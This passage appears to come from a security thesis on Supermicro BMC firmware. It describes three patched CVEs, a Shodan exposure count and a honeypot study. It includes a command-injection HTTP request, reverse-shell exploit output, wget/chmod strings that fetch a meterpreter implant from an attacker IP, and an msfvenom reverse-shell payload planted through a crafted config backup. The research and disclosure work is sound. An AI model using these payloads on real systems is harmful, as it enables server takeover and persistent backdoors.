which preserves the actual administrative accounts leaving it vulnerable to credentials extraction.

./IPMICFG -lani <option>
and

./IPMICFG -m <ip>

or

./IPMICFG -dhcp <on/off>

To set the LAN interface mode to dedicated, shared or failover and to set the IPv4 address to static

value or to request one from the DHCP service.

Under generic circumstances, the attacker is now able to access the BMC administrative interfaces
with standard out-of-band mechanisms, including the IPMI protocol on UDP port 623, as well as
the web user interface on HTTP and HTTPS ports TCP 80 and 443. Accessing the web user interface
provides the attacker with a way to utilize the iKVM functionality, which allows access to the sys-

tems BIOS and UEFI shell, if they are not explicitly secured.
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6.5 Privileged Hardware

Previously noted in the case of BMCLeech, the AST2500 SOC is directly connected to the PCl-e bus
of the motherboard, to which a patched Linux Kernel X-DMA driver was published by Eddie James
(2019). The connection to the PCI-E bus has been demonstrated to allow Direct Memory Access
capabilities to be utilized by the BMC to read the host system's random-access memory on the
OpenBMC platform. In the case of the Supermicro X11 generation BMC devices based on AST2500
SOC, the PCl-e connection is available, and thus the BMCLeech-type attack vector becomes a via-

ble additional vector to consider.

6.6 Firmware Update Warning

The Supermicro Download Center BMC Firmware Downloads section issues a general warning
against upgrading BMC devices firmware due to the potential of causing damage, as presented in

Figure 5 (Supermicro, 2022c).

WARNING!
Please do not download / upgrade the Firmware UNLESS your system has a firmware-related issue. Flashing the wrong
firmware can cause irreparable damage to the system.

In no event shall Supermicro be liable for direct, indirect, special, incidental, or consequential damages arising from a
firmware update.

Figure 5: Supermicro Download Center warning of upgrading BMC firmware.

The warning can be assessed to cause confusion for some administrators and could lead to a situa-
tion where a less experienced system administrator to not install firmware upgrades, including se-

curity updates.
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7 Identifying Vulnerabilities

7.1 Methodology

Methods to identify vulnerabilities in software can include techniques ranging from black-box test-
ing, where the assessor does not have access or knowledge of the internal functionalities of the
assessment target and must rely entirely on assumptions and measurable responses returned by
different inputs, to white-box assessments where the assessor has full access to the target's inter-
nal workings in form of the full source code (Khan et al., 2012). In the context of this thesis, the sit-
uation was a mix in-between: the manufacturer provides some of the source code in the form of
GPL SDK (General Purpose License software development kit), relevant firmware updates packages
provide direct access components of the firmware and a possibility to inspect them with security
research tools such as Ghidra or general debuggers such as GDB (Supermicro, 2020b; Supermicro,
2022c). As per Khan et al. (2012), this type of assessment technique can be described as gray-box
testing: the gray-box techniques allow the assessor to increase testing coverage while simultane-

ously allowing more focus to be set on all the layers provided by a complex application.

The X11 generation Supermicro firmware images are shipped with partial encryption, where the
header sections of the rootfs, webfs and metadata sections are encrypted while, the actual con-
tents and files of the firmware are accessible in their unencrypted format. While using tools such
as binwalk to extract the firmware archives can be seen as a valid method, decrypting the headers
of the firmware images is relatively straightforward operation, only requiring known relative off-
sets to the header locations within the firmware image file (Niewdhner, 2020). Finally, for dynamic
inspection, the X11 series BMC devices’ firmware readily comes equipped with gdbserver pro-
gram, which allows easy access by hooking to and debugging the programs running on the device

in the event, that the researcher gains initial access to the running device.

As result of performing an extensive gray-box assessment against the Supermicro M11SDV-8C+-
LN4F embedded BMC device and its firmware, three high severity vulnerabilities were identified.
Root causes for all the identified vulnerabilities can be categorized with three of the OWASP Top

10:2021, the ten most common vulnerability types as described in table 7 (OWASP, 2021).
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Table 7: Relevant OWASP Top10:2021 entries encountered during the research

OWASP Top10:2021

Description

AO01 Broken Access Control

Access control enforces policy such that users cannot act outside
of their intended permissions. Failures typically lead to unauthor-
ized information disclosure, modification, or destruction of all
data or performing a business function outside the user's limits

(OWASP, 2021).

A02 Cryptographic Failures

Refers to any situation where cryptography is used insecurely, for
example using weak cryptographic keys, or re-using existing ones,
ignoring initialization vectors, or using insecure cipher suites

(OWASP, 2021).

AO03 Injection

Refers to any situation where user-supplied data is handled inse-
curely, causing it to be used by downstream components of the
application and used to manipulate intended execution flow

(OWASP, 2021).

7.2 CVE-2023-33411: Directory Traversal to Unauthorized iKVM Access

7.2.1 Vulnerability Overview

The vulnerability identified as CVE-2023-33411 utilizes a directory traversal bug combined with the

presence of an insecure cryptographic function in Supermicro X11/M11 motherboards' IPMI BMC

SSDP/UPNP web server and firmware, allowing a potential attacker unauthenticated iKVM access.

The identified vulnerability allows the usage of the built-in iKVM and virtual media endpoints to

mount arbitrary ISO images to the host operating system as virtual USB devices via virtual media
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functionality. In addition to the VNC-style capabilities of the iKVM on the host's operating system,
the vulnerability also allows access to the host's low-level functionalities, such as rebooting and

access to BIOS, UEFI shell, and peripheral devices.
A successful attack requires network access to the BMC device's administrative web user interface
and previous user interaction in the form of an active or an inactive left-over session file on the

system, which is generated upon a normal web or Java user interface login.

Table 8: CVE-2023-33411 CVSSv3.1 score and vector

CVSSv3.1 score CVSSv3.1 vector

8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Firmware revisions up to and including 03.17.02 are assessed to be vulnerable. The vulnerability

was patched in firmware version 3.17.05 released on July 25, 2023 (Supermicro, 2023).

7.2.2 Vulnerability Details

The CVE-2023-33411 vulnerability requires a multi-part exploitation of several sub-vulnerabilities
being chained together to provide a full exploit chain. The attacker must query the BMC device’s
MAC address and active or left-over session identifier via a misconfigured UPNP-related HTTP ser-
vice, followed by crafting an iKVM compatible session identifier by exploiting an insecure crypto-

graphic function provided by the BMC firmware.

The BMC device’s UPNP HTTP service is started without providing a -webdir argument, which ef-
fectively defaults the HTTP service webroot to /tmp/ directory of the operating system. The ser-

vice starting outputs system log entries describing the default webroot as:
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Jan 27 04:48:55 (none) user.debug upnp_dev: Initializing UPnP Sdk with
ipaddress = {NULL} port = 1900

Jan 27 04:48:55 (none) user.debug upnp_dev: get uuid: [UUID]

Jan 27 04:48:55 (none) user.debug upnp_dev: UpnP Initialized ipaddress
= [REDACTED_IP] mac_adress = [REDACTED MAC] port = 49152 uuid:[UUID]

Jan 27 04:48:56 (none) user.debug upnp_dev: Specifying the webserver root
directory -- /tmp

Jan 27 04:48:56 (none) user.debug upnp_dev: Registering the RootDevice
with desc_doc_url: http://[REDACTED IP]:49152/ipmi device desc.xml

Jan 27 04:48:56 (none) user.debug upnp_dev: RootDevice Registered Ini-
tializing State Table

Jan 27 04:48:56 (none) user.debug upnp_dev: ipmi_device/sam-

ple util.c(227): Error finding URLBase in XML Node

Jan 27 04:48:56 (none) user.debug upnp_dev: TvDeviceStateTableInit - Er-
ror: Could not find Service: urn:schemas-upnp-org:service:tvcontrol:1

Jan 27 04:48:56 (none) user.debug upnp_dev: State Table Initialized

The /tmp/ directory contains privileged temporary files for the BMC operating system, including
dmesg, syslog entries, latest screenshot of the host operating system, and administrative session
identifier files. Upon an administrative web user interface login to the BMC, the user session iden-

tifier is output to the system log as:

Jan 27 06:51:52 (none) user.debug login.cgi: input data [29] =
16424887120zxMWFNn262tJCz11368

Jan 27 06:51:52 (none) user.debug login.cgi: HMAC sha256 data [32] =

Jan 27 06:51:52 (none) user.debug login.cgi: [UtilSysLogClientSend]

Jan 27 ©6:51:52 (none) user.info ipmi: Maintenance EventlLog | 2022/01/18
06:51:52 | [REDACTED_IP] | Information | Web login was successful. | Web
ADMIN(ADMIN) [REDACTED IP]

The system log files, including all rotated log files, can be queried through the misconfigured UPNP
HTTP service, effectively revealing the session identifier of the logged-on administrator. Normally,

for session handling, the session file contains information when the user is supposed to be logged
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out automatically, of which IP-address the connection is allowed, and the CSRF-token for the ses-
sion. However, the session handling is performed only on the administrative web user interface
CGl scripts on the BMC operating system. If the user does not deliberately log out of the adminis-
trative web user interface and just closes the browser, the file containing the session identifiers

will not be invalidated and will not be removed from the file system.

In normal operation, the BMC device’s administrative web user interface has an iKVM remote
desktop-type terminal functionality available to the administrator, requiring valid credentials to
the interface to be accessed. While the administrative web user interface backend extensively vali-
dates the connecting user session, access to the actual iKVM terminal functionality is secured only
by requiring a corresponding session identifier file to be located at /tmp/ directory of the BMC op-

erating system and does not perform any validation of the file contents.

When the iKVM HTMLS page is opened, the page initiates a websocket connection to the service
backend and communicates an encoded, encrypted session identifier to the service. The session
identifier is encrypted by using the BMC devices dedicated network controller interface MAC ad-
dress as a part of the encryption key, allowing the attacker to perform the attack against the iKVM
session validation in case the BMC operating system filesystem still contains a session identifier
file — whether it is valid or invalid. Attacker can access all default functionalities of the HTML5
iKVM with the newly crafted session identifier. Session identifier can be crafted in automated

ways, as described in Figure 6.

SMC BMC X1l-series Information Disclosure to remote iKVM/VM access Proof-of-Concept
Getting syslog from: |G

Got raw session id: 1672160331uyisyvgHSPghMgX1215

Parsed session id:  uyisyvgHSPghMgX

Got device MAC-addr:

Device MAC MD5 hash:

Using AES KEY:
Using AES IV:

Here's your encrypted and encoded SID:

Figure 6: Output of an automated script generating session identifiers for CVE-2023-33411.
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Finally, to close the exploitation chain, even if the BMC device does not have the required soft-

ware out-of-bounds management licence, the attacker can access the iKVM provided virtual media

functionalities by manually enabling the client-side disabled menu fields on the iKVM web page as

demonstrated in Figures 7 and 8. By enabling the menus, the attacker can mount arbitrary disk im-

ages to be emulated on the host operating system, doubling down as a revisit to the impact of the

previously identified CVE-2019-16650 “USBAnywhere” vulnerability.

& Reselution:1024x768 FPS :27 — Mozilla Firefox

O Pﬂ https:// fegifurl_redirect.cgi?url_name=man_ikvm_htm|5_bootstrap

Virtual Keyboard Macro Options UserList  Capture Power Control

SW license is missing, Please enable DCMS license! |

Figure 7: Unlicenced iKVM page has Virtual Media menu disabled.

@ Resolution:1024x 768 FP5:31 — Moazilla Firefox

O 8; https:// fegifurl_redirect.cgi?url_name=man_ikvm_htm|5_bootstrap#
Virtual Media

Device 1: There is an iso file mounted.
Device 2° No disk emulation set.
Device 3: No disk emulation set.

Devce2  Device3

Device Type:

ISO Image v

Selaa...  minimal_linux_live_15-Dec-2019_64-bit_mixed.iso

Mount | Unmount |

Figure 8: Unlicenced iKVM page with Virtual Media menu manually enabled

Help
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The possibility to introduce arbitrary USB devices and access to the UEFI shell is significant, as it
potentially allows the attacker to perform lateral movement between the BMC device and the
host operating system. If the attacker can compromise the host operating system, they can possi-
bly create a “Revolving Door,” which allows arbitrary switching of context between the BMC de-

vice and the host operating system.

For this vulnerability, no static internal indicators-of-compromise were identified.

7.3 CVE-2023-33412: File Upload Filename Remote Command Execution

7.3.1 Vulnerability Overview

The vulnerability identified as CVE-2023-33412 utilizes a command injection in Supermicro
X11/M11 motherboards’ IPMI BMC administrative web interface virtual media, dynamic DNS, and

certificates upload functionalities.

The identified vulnerability allows root-privileged administrative access to the underlaying BMC
operating system shell. If the attacker can exploit this vulnerability, there is a high possibility that
the whole server system can be taken over. The vulnerability allows access to server on the hard-
ware level, rebooting and reinstalling the host operating system, network pivoting between the
BMC and host server network interface controllers and potentially performing direct memory ac-

cess attacks against the live host operating system.

A successful attack requires access and administrative credentials to the BMC device administra-

tive web user interface.

Table 9: CVE-2023-33412 CVSSv3.1 score and vector

CVSSv3.1 score CVSSv3.1 vector

8.0 AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
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Firmware revisions up to and including 03.16.0 are assessed to be vulnerable. The vulnerability

was patched in firmware version 3.17.05 released on July 25, 2023 (Supermicro, 2023).

7.3.2 Vulnerability Details

For CVE-2023-33412, in normal operations, the BMC device allows the administrator to upload an
arbitrary file to the virtual media, dynamic DNS, and certificates endpoints. When submitting as
file upload request, the web user interface back end improperly handles the form submission data,
passing the user-controlled file name parameter to be parsed as a part of an operating system call

executing system shell.

An example HTTP request to exploiting the vulnerability can be crafted as:

POST /cgi/uimapin.cgi HTTP/1.1

Host: [BMC_IP]

Cookie: SID=6ZHbC3q3fpzVshX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0)
Gecko/20100101 Firefox/103.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,im-
age/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----------------------~-~----
204578460635063312494276323906

Content-Length: 464

Origin: https://[BMC_IP]

Dnt: 1

Referer: https://[BMC IP]/cgi/url redirect.cgi?url name=vm floppy

Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe

Sec-Fetch-Mode: navigate



42

Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

Connection: close

————————————————————————————— 204578460635063312494276323906
Content-Disposition: form-data; name="C:\fakepath\floppy.ima”; file-
name="& [ARBITRARY COMMAND] && aa”

Content-Type: application/octet-stream

TESTFILE
----------------------------- 204578460635063312494276323906
Content-Disposition: form-data; name="CSRF_TOKEN”

6palQ+GhAwGIv42HHLYNy2NheJOpg3Snzhzi4lLop9Y8
————————————————————————————— 204578460635063312494276323906—

Limitations to the exploitation occur due to the maximum allowed string length. Also, as the ex-
ploitation string is passed as a file name, there is a limitation for using forward slash character in
the exploit. This limitation can be bypassed with some creative use of shell expansion sequences in
Linux shell, such as issuing echo commands with hexadecimal encoded characters and by issuing
multiple commands in sequence. The exploitation can be fully automated, as demonstrated in Fig-

ure 9.

[+] Logging into the BMC

[+] Got cookies, successful login!
[+] Got CSRF Token

[+] Starting HTTP server

[+] Sending exploit string

[+] Handling request for shell binar
DO - - N ccT /shell HTTP/L.1" 200 -

[+] Shutting down HTTP server

[+] chmod +x /tmp/shell

[+] Executing payload

[+] Starting reverse connection handler

[+] Received connection from [ EEN: 22620
[+] Plz enjoy your #shell :)

#> cat /etc/passwd
roor::G:G:root:froot:fbinfsh

ft>
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Figure 9: Output of an successful attack using automated script for CVE-2023-33412

Successful exploitation generates identifiable indication-of-compromise artifacts to the /tmp/ di-
rectory of the BMC file system. The artifacts are featured as a file, which name consists of ran-

domly generated file identification string followed by the exploitation payload.

Example artifacts as seen on the BMC file system:

l100644/rw-r—-r-- 8 fil 2020-01-03 05:52:09 +0200
mTfZaxhuLa45i5C & $(echo “\x2f’)tmp$(echo “\x2f’)meterpreter & a && aa
100644/rw-r—-r-- 8 fil 2020-01-03 05:52:09 +0200
mTfZaxhuLa45i5C & chmod +x $(echo “\x2f’)tmp$(echo ‘\x2f’)meterpreter &&
aa

100644/rw-r-r-- 8 fil 2020-01-03 05:52:08 +0200
mTfZaxhulLa45i5C_& wget -0 $(echo “\x2f’)tmp$(echo “\x2f’)meterpreter
[REDACTED_IP]:8000%(echo ‘\x2f’)meterpreter && aa

The example indication-of-compromise artifacts are a result of exploitation scenario where at-
tacker has successfully compromised the system by issuing a series of injected commands, down-
loading a malicious meterpreter command and control implant executable, giving the executable

execution permissions, and finally starting the executable:

& wget -0 $(echo “\x2f’)tmp$(echo “\x2f’)meterpreter
[REDACTED_IP]:8000%(echo ‘\x2f’)meterpreter && aa

& chmod +x $(echo “\x2f’)tmp$(echo “\x2f’)meterpreter && aa
& $(echo “\x2f’)tmp$(echo “\x2f’)meterpreter && aa

Similarly, to the other vulnerabilities the exploitation of this vulnerability might allow the attacker
to create the “Revolving Door” situation, where the attacker can laterally move from the BMC de-

vice to the host operating system and vice versa.
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7.4 CVE-2023-33413: Hard-coded Symmetrical Encryption Keys

7.4.1 Vulnerability Overview

The vulnerability identified as CVE-2023-33413 uses sets of hardcoded symmetrical configuration
file encryption keys in Supermicro X11/M11 based IPMI BMC devices firmware, allowing the at-
tacker to extract privileged information or to craft and upload a malicious configuration file pack-

ages to gain remote command execution.

The identified vulnerability allows root-privileged administrative access to the underlaying BMC
operating system shell. The vulnerability can be exploited through both in-band and out-of-band
management channels, including the administrative web user interface, out-of-band IPMI protocol

and in-band host operating system IPMI driver.
A successful attack utilizing out-of-band management protocols requires network access and ad-
ministrative credentials to the BMC device. A successful attack utilizing in-band management pro-

tocols requires administrative access to the host operating system.

Table 10: CVE-2023-33413 CVSSv3.1 scores and vectors

CVSSv3.1 score CVSSv3.1 vector

For local attacker: 8.2 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

For external attacker: 9.1 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Firmware revisions up to and including 03.17.02 are assessed to be vulnerable. The vulnerability

was patched in firmware version 3.17.05 released on July 25, 2023 (Supermicro, 2023).
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7.4.2 Vulnerability Details

The CVE-2023-33413 vulnerability can be exploited through both in-band and out-of-band chan-
nels. For in-band exploitation, administrative credentials to the host operating system are re-
quired, while for out-of-band exploitation, administrative credentials to the BMC device itself are
needed. The vulnerability requires careful crafting of the payload to be successful. The exploitation
can take two forms: the vulnerability can be used to decrypt the configuration backup file to ac-
cess privileged information, such as plain-text BMC administrative passwords and network config-

uration or be used to gain remote command execution on the BMC device itself.

The vulnerability arises from the fact that the firmware uses hardcoded symmetric encryption keys
to encrypt and decrypt BMC devices configuration back-up files and that the configuration backup
restoration functionality has not been secured from malicious user input and manipulation at-
tempts. During a normal configuration files backup process, the BMC device gathers pre-defined
set of configuration files, compresses them into a zip archive, calculates CRC32 checksum for the
file and encrypts the contents into the final configuration backup file, which is introduced to the
user for downloading. The process of restoring the backup is effectively the same in reversed or-

der, overwriting the existing configuration files on the BMC file system non-volatile memory.

The attacker can utilize this process to either fully craft a malicious configuration backup file or
manipulate an existing one. Being able to compromise the BMC device from both internal and ex-
ternal communication channels provides interesting exploitation scenarios. In case of hardened
environments, the attacker can possibly perform virtual local area network hopping and introduce
a BMC device-enabled persistent backdoor to the system, as the potential implant is effectively
placed in the non-volatile partition of the BMC device's operating system. During the boot, the op-
erating system initialization uses the Linux shell command source to load additional configuration
files. As the integrity of the configuration files is not checked, there is a possibility to introduce
malware masked as external configuration files and execute arbitrary commands injected into the

system configuration files.

For example, to introduce a Meterpreter reverse shell implant to the BMC operating system, the

attacker can decrypt the save_config.bin configuration back up and create a payload as:
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~/metasploit/metasploit-framework/msfvenom -p linux/armle/shell re-

verse tcp lhost=10.10.10.100 lport=8000 -0 ./meterpreter.conf -f elf

Attacker proceeds to manipulate the decrypted configuration backup file to execute the to-be-in-

jected Meterpreter implant as seen on example configuration file:

HTTP_SERVICE=1
HTTP_PORT=80

HTTPS_SERVICE=1

HTTPS_PORT=443

SSH_SERVICE=1

SSH_PORT=22

WSMAN_SERVICE=0

WSMAN_PORT=5985

IKVM_SERVICE=1

VM_SERVICE=1

SSL_REDIRECT=0

SNMP_SERVICE=0

SNMP_PORT=161

STUNNEL_SERVICE=1
STUNNEL_PORT=5900

VM_PORT=623
HOSTINTERFACE_SERVICE=1
HOSTINTERFACE_IPADDR=169.254.3.254

chmod +x /nv/meterpreter.conf

/nv/meterpreter.conf &

When executed, the manipulated configuration file will set execution permissions to the Me-
terpreter reverse shell implant and runs it as a background process. Finally, the attacker packages
the backup configuration file to its CRC32 checksum containing encrypted save_config.bin repre-

sentation and uploads it to the BMC system.
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For indicators of compromise, during exploitation, the BMC system will reboot and output log en-
tries indicating that the system was reconfigured by restoring from configuration backup file. The
available management channels to exploit the vulnerability include the administrative web user
interface and Redfish APl on TCP ports 80 and 443, IPMI protocol on UDP port 623 and the in-band
IPMI driver within the host operating system. For all the management channels, standard manage-

ment toolkits can be used.

To upload and restore the manipulated backup configuration file through out-of-band IPMI proto-

col, the attacker can utilize SMCIPMITool program (Supermicro, n.d.-d):

./SMCIPMITool [BMC_IP] [BMC_USERNAME] [BMC_PASSWD] ipmi oem restorecfg

save_config.bin

To upload and restore the manipulated backup configuration file through in-band IPMI host oper-

ating system driver, the attacker can utilize IPMICFG program (Supermicro, 2022):

./IPMICFG -conf upload save_config.bin

To upload and restore the manipulated backup configuration file through the administrative web
user interface, the attacker will navigate to the IPMI Configuration menu of the user interface and

upload the crafted configuration backup package, as seen in Figure 10.

. Host Identification
UPERMICR® Server: 10
User: ADMIM - { Administrator )

| System Server Health Configuration Remote Control Virtual Media Maintenance Miscellaneous

© Maintenance e IPMI Ccnﬁguraticn

@ Firmware Update

This page is used to save IPMI configuration settings. Users can use a saved configuration file to backup or
ﬂ Unit Reset restore previous settings.

@ IKVM Reset

@ Factory Default Save IPMI Configuration Save

& IPMI Configuration Reload IPMI Configuration | Selaa...  Ei valittua tiedostoa.
Reload
© Maintenance Event Log

@ BIOS Update

Figure 10: Configuration menu as seen on Supermicro BMC administrative user interface.
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Simliarly to before, the capability to exploit either side of the server system, the BMC device or the
host operating system can possibly introduce the “Revolving Door” situation, where the attacker

can laterally move between the BMC device and the host operating system.

8 Exposure Assessment

8.1 Background

A focal point for the research included exposure assessment to map out the scale of potentially
vulnerable devices available to the potential threat actors. While arguably some, if not most, of
the vulnerable devices reside inside closed internal networks, assessing their exposure to threat

actors would require significant effort and is outside the scope of this research.

Meeting with National Cyber Security Centre officials provided guidelines for assessing the expo-
sure, as duties of the agency include to solve and gather information on security violations and
threats against networks (M. Mesia, A-M. Vayrynen, S. Kéndnen, J. Eronen, personal communica-
tion, November 2, 2022; Finnish Transportation and Communication Agency, 2022). NCSC officials
advised against enumerating the issues against any publicly available systems, as there could be a
possibility to step over the line of the Finnish criminal law regarding attempted computer break-in.
The officials assessed that the law can be translated in a very strict manner, even if the issues

could be validated without bypassing any actual security controls of the systems enumerated.

A decision was made to assess the exposure and any active exploitation attempts by utilizing pas-
sive and openly available resources, as well as by deploying a customized active honeypot system

to capture possible malicious exploitation attempts.

8.2 Shodan Search Engine

To assess the magnitude of available attack surface for the identified vulnerabilities, as set of Sho-
dan search engine queries were designed to count the number of systems available to the public

internet. Supermicro IPMI BMC devices include identifying datapoints which can be searched for,
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such as the web user interface SSL certificates and IPMI protocol OEM identifiers. The search que-

ries are designed, and their results are described in table 11 with data retrieved January 6%, 2023.

Table 11: Shodan search engine queries

ing devices vulnerable to RAKP HMAC-SHA1

hash retrieval attack

Search query Description Result

"IPMI OEMID 21317" Number of data points for keywords includ- 30225
ing Supermicro IPMI OEM ID

ssl.cert.subject.cn:"IPMI" Number of data points for SSL certificates 50667
field with Supermicro common name

"IPMI port:623" Number of data points for keyword IPMI lo- 59270
cated at network port 623

"IPMI auth password md5 2.0" | Number of data points for keywords identify- 47442

The query results indicate that the number of potentially vulnerable devices is significant. As the

CVE-2013-4687 RAKP HMAC-SHA1 hash disclosure vulnerability can be described as a protocol de-

sign issue, it can be assumed that all devices from all vendors providing suitable authentication

methods for the IPMI protocol are vulnerable. In the case of Supermicro-based devices, this results

in over 30,000 potentially vulnerable devices being accessible through the internet alone. How-

ever, definitive conclusions cannot be made from this data alone, as Supermicro-based devices do

not directly expose their version information through the Shodan search engine, and retrieving
such information would require accessing the systems in one form or another. It is worth noting

that the Supermicro IPMI OEM ID was identified on approximately half of all IPMI protocol-ena-

bled devices from the queries.
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A notable finding is also the fact that Shodan queries returned more data points for Supermicro's
IPMI SSL certificate than for the IPMI protocol itself. This indicates that there is some network fil-
tering in place to prevent UDP traffic from reaching the systems. As two of the vulnerabilities iden-
tified during this research require access to the web Ul of the system, the systems revealing only
the web user interface and not the IPMI protocol must be exploited with the identified vulnerabili-
ties only if they are older generation systems with known default passwords or the password is

otherwise poorly designed.

Comparing the search results with the previous research conducted by Dan Farmer and HD Moore
in May-June 2014, the number of available IPMI protocol 2.0 enabled devices appears to have
dropped drastically from approximately 230,000 devices to 59,270 devices identified during this
research. The research performed by Dan Farmer and HD Moore also assessed that up to 90% of
the available BMC devices were vulnerable in some way, and approximately 83% of the gathered
subset of BMC devices were vulnerable specifically to the CVE-2013-4687 RAKP HMAC-SHA1 hash
disclosure (Farmer, 2013). A further conclusion can be made that with faster modern hardware,
even more of the retrieved hashes could be successfully cracked due to the sheer computational

speed increase gained after the year 2014.

8.3 Honeypotting

To analyze the potential ongoing exploitation campaigns against internet-connected BMC devices,
an IPMI honeypot was deployed. By passively listening to and responding to any received connec-
tion with protocol-aware software, potential exploitation attempts could be recorded and ana-
lyzed on a network packet level. The honeypot was designed to answer following research ques-

tions:

- Are there any ongoing mass exploitation campaigns against IPMI version 2.0 enabled BMC devices?
- What is the goal of the potential attackers?

- Where do the potential attacks originate from?
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8.3.1 Creation And Deployment

The honeypot was created by modifying existing IPMI testing simulator ipmisim, which is forked
from Conpot and based on python library pyghmi, originally created to test IPMI features on
Apache CloudStack (Yadav, ShapeBlue, 2021). The ipmisim provided an easy and straight forward
base layer for the IPMI honeypot, providing most of the capabilities required to capture any at-

tempts of malicious actions.

The base capabilities of the IPMI honeypot were designed as following:

- Capable of recording all traffic destined to local UDP port 623
- Capable of responding to RMCP+ Get Channel Authentication Capabilities messages
- Capable of responding to and completing RAKP authentication schema

- Capable of capturing any IPMI protocol actions performed post-authentication

While the original ipmisim provided most of the capabilities, it required some minor modifications
to allow arbitrary client connections, such as minified, out-of-specification session initiation re-
quests. The modified honeypot was tested using commonly available IPMI toolkits and Metasploit
module exploits aiming to capture the HMAC-SHA1 hashes from RAKP authentication message 2
(Laurie 2022; Farmer, 2013). In addition, tcpdump, a network packet capturing software was de-
ployed parallel to the modified ipmisim to capture all network traffic destined to local UDP port

623.

The modified ipmisim honeypot and the network capturing software was deployed to a cloud
hosting service located in Singapore. The destined deployment time was set to be minimum of 14
days. The deployment was designed to be done in two stages: part one with commonly known
username and password (e.g., username ADMIN with password ADMIN) and part two with com-

monly known username and arbitrary yet offline crackable password.
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8.3.2 Honeypot Data Analysis

The honeypot was deployed on 14.12.2022 and was shut down on 8.1.2023. During the 25-day pe-
riod of being deployed, the honeypot recorded 88 individual connections originating from 56
unique IP addresses. The connections can be dissected as presented on table 12. As the honeypot
did not receive any IPMI protocol version 2.0 authentication requests, the second stage with

known username and arbitrary password was dropped from the analysis.

Table 12: Honeypot received connections to port UDP 623, 14.12.2022 - 8.1.2023

Description Amount

Individual connections 88
Unique IP-addresses 56
Protocol agnostic, general port scans 6
ASF Presence Ping messages 1
RMCP+ Get Channel Authentication Capabili- 74
ties messages

Malformed or wrongly encoded Get Channel 5
Authentication Capabilities messages

Of the 56 unique IP-addresses, only some could be easily attributed to a specific organization.
Identified organizations include well-known internet scanners such as Rapid7 Labs Project Sonar
and Shodan. During the analysis, according to the Shodan search engine compiled datapoints, all

the connections appeared to be originating from different cloud hosting services.
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From the data captured, some observations can be made. Only a single connection attempted to
perform a full IPMI version 1.5 session initiation handshake. One of the connecting hosts provided
malformed or wrongly encoded RMCP+ request, showcased in Figure 11, in total of five occasions,
which do not have the capacity to succeed against a real protocol-conforming device. None of the
connections attempted to exploit the CVE-2013-4687 HMAC-SHA1 hash retrieval vulnerability.
Network scanners used protocol-aware methods more commonly than protocol-agnostic meth-

ods.

Frame 15: 112 bytes on wire (896 bits), 112 bytes captured (596 bits)

Ethernet II, Src: fe:00:90:00:91:91 (fTe:90:09:96:01:01), Dst: 8a:af:ab:5b:78:d7 (Ba:af:ab:5b:78:d7)
Internet Protocol Version 4, Src: Dst:

User Datagram Protocol, Src Port: 54714, Dst Port: 623

Data (7@ bytes)

8a af ab 5b 78 d7 fe @2 @@ @@ @1 @1 @8 @@ 45 @e [x E
B8 62 d4 31 @@ 8@ f5 11 @3 b9 Se 66 3d le 88 c7 b-1 =

dl 54 d5 ba 82 6f @@ 4e @@ @@ 5c 78 3@ 36 5c 3@ T o-N \xB6\@
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Figure 11: Malformed RMCP+ request captured by the honeypot as seen in Wireshark.

No exploitation of IPMI protocol version 2.0 enabled devices was observed during the inspection

period of the honeypot.

9 Attack Scenarios

9.1 Scenario Considerations

As demonstrated, the Supermicro BMC devices are vulnerable to different avenues of exploitation
and have a critical mass of freely accessible devices to make them an interesting target for oppor-
tunistic attacks. Assessing the interest and the full exploitation potential for targeted, intranet-
originating attacks is out of the scope of this research. While considering different deployment
scenarios for the BMC devices, the following exploitation scenarios are considered: opportunistic

internet-based attack, targeted intranet-based attack, and targeted host-based attack.
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9.2 Opportunistic Internet-based Attack

9.2.1 Scenario Introduction

In opportunistic attack scenario, the attacker is assessed to be targeting virtually any publicly ac-
cessible internet connected Supermicro BMC device. In the opportunistic scenario, the attacker
enumerates potentially vulnerable devices in masses and exploitation is most likely automated.
The initial, short-term aim of the attack would be creating or extending an attacker-controlled bot-

net. The Figure 12 outlines phases and flow of the opportunistic internet-based attack considered.

Opportunistic Internet-based Attack

Reconnaissance / Scanning Initial Access Execution / Privilege Escalation

Opportunistic attacker scans the
internet for Supermicro enabled hosts
with accessible BMC devices.

The attacker attempts known default
credentials or performs CVE-2013-4786
RAKP HMAC-5HAL hash disclosure attack
against the wvulnerable target and
cracks the received hashes offline.

The attacker crafts exploit request
or uses an attack script, exploiting
CVE-2023-33412 to execute commands
and to escalate their privileges

to the root user.

Targets:
- TCP port 80 or 443
- UDP port 623

Targets:
- UDP port 623

Targets:
- TCP port 80 or 443

THEN

Continued Attack Impact

Lateral Movement Possible Impact Direct Impact

The attacker can use the gained
administrative and root access

to potentially perform DMA attacks,
sniff on shared network interfaces,
use the iKW functionality to access
the host operating system and Tow-
level system components of the host.

The attacker gains direct or partial
access to the host operating system,
potentially allowing further attacks
to be conducted against the system
and/or the owners organisation.

The attacker gains direct access to
the BMC dewvice, which can be used to
perform Denial-of-Service attacks or
to use the device as a part of a
botnet.

Figure 12: Opportunistic Internet-based attack scenario flow.
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9.2.2 Scenario Considerations

The Supermicro BMC devices' external attack surface by default provides the potential attacker
access to the IPMI protocol on UDP port 623, as well as the administrative web user interface and
the misconfigured UPNP web service. For purely external attacks, the risk of exploiting the CVE-
2023-33411 vulnerability to directly access the iKVM functionality can be assessed to be insignifi-
cant. If the assumption of a misconfigured, side-loaded network interface controller holds true,
the system administrators most likely have not been logged into the system since the last BMC
boot-up. It can be assessed that the most prominent exploitation vectors for initial access include
default administrative credentials or exploitation of the CVE-2013-4786 RAKP HMAC-SHA1 hash

disclosure.

After the attacker has gained initial access, they can elevate their privileges to the BMC device's
operating system administrative root user by exploiting either the CVE-2023-33412 file upload re-
mote command execution vulnerability or the CVE-2023-33413 hardcoded symmetric crypto-
graphic keys vulnerability. Once the attacker has gained access to the BMC device's operating sys-

tem, the device is effectively under their full control.

In case the attacker wants to and is capable, the scenario allows for further continuation of the at-
